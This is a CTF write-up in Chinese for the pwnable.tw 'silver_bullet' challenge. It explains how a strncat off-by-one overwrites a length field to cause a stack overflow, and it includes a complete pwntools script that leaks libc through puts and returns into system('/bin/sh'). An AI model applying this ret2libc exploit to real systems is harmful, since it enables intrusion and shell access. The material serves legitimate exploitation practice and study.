pwnable.tw silver_bullet
silver_bullet
检查保护
程序很简单也就这几个功能。
重点关注一下这三个主要函数。
Create函数,首先输入一个小于等于0x30长度的字符串,然后在s[0x30]的地方存入输入字符串的长度。
Pwoer_up函数,首先判断之前输入的字符串长度是否小于0x2F,如果小于,则可以对字符串进行追加。漏洞点就在于这个strncat ,strncat(dest,src,n)的功能是将src的前n个字节的字符追加到dest字符串后面,然后再加上\x00结尾。
试想一下我们首先输入的字符串为0x10长度,而s[0x30]处存着长度0x10。我们再输入0x30-0x10长度到字符串追加到之前的字符串后面,然后后面填上0x00,那么s[0x30]处低字节就被覆盖为了0x00,我们原先0x10在内存中的存储是按小端存储的也就是\x30\x00\x00\x00,我们覆盖后就成了\x00\x00\x00\x00,追加后的长度v3等于0x20,0x20<0x2F这样我们还可以再次追加,这样就造成了栈溢出。
由于程序是死循环,只有beat函数返回为1才能正常退出。所以我们要分析一下beat函数。
首先是类似于打怪,我们刚刚输入的字符串长度,也就是s[0x30]处的值被当成伤害,要把怪物打死main函数才能正常退出,而怪物HP有0x7FFFFFFF这么多。
不过我们不用慌
v3 = strlen(&s) + dest[0x30];
我们第2次字符串拼接可以覆盖dest[0x30],最终这个地方的值就是我们填入的值加上输入的s长。
由于没有cannary的保护,我们可以简单的进行栈溢出。原本栈上是这样的:
栈上变量 | 值 |
---|---|
怪的血量 | 0x7fffffff |
怪的名字 | Gin |
s | |
.... | |
s的’长度‘ | |
ebp | |
ret |
我们把栈布局成如下:
栈上变量 | 值 |
---|---|
怪的血量 | 0x7fffffff |
怪的名字 | Gin |
s | AAAA... |
.... | ... |
s的'长度' | 0xFFFFFF23 |
ebp | 0x4141417F |
ret | put_plt |
main | |
params | put_got |
我们首先泄漏出puts的地址,进而计算出libc的加载地址,然后算出system和bin_sh的地址
同理我们再来一次,把ret换成system,把参数换成bin_sh即可get_shell.
栈上变量 | 值 |
---|---|
怪的血量 | 0x7fffffff |
怪的名字 | Gin |
s | AAAA... |
.... | ... |
s的’长度‘ | 0xFFFFFF23 |
ebp | 0x4141417f |
ret | system |
main | |
params | bin_sh |
from pwn import *
context.log_level = "DEBUG"
debug = 0
if debug:
p = process("./silver_bullet")
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
p = remote('chall.pwnable.tw',10103)
libc = ELF('./libc_32.so.6')
elf = ELF('./silver_bullet')
main = 0x8048954
def create(desc):
p.sendlineafter("Your choice :",'1')
p.sendafter("Give me your description of bullet :",desc)
def power(desc):
p.sendlineafter("Your choice :",'2')
p.sendafter("bullet :",desc)
def beat():
p.sendlineafter("Your choice :",'3')
def exp(fun,param):
create('A'*0x20)
power('B'*0x10)
power(p32(0x7FFFFFFF)+"A"*3+p32(fun)+p32(main)+p32(param))
beat()
exp(elf.plt['puts'],elf.got['puts'])
p.recvuntil('Oh ! You win !!\n')
puts = u32(p.recvuntil('\n',drop=True).ljust(4,'\x00'))
print 'puts: '+hex(puts)
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
print "system: "+hex(system)
print "bin_sh: "+hex(bin_sh)
exp(system,bin_sh)
p.sendlineafter("Oh ! You win !!\n","cat /home/silver_bullet/flag")
p.interactive()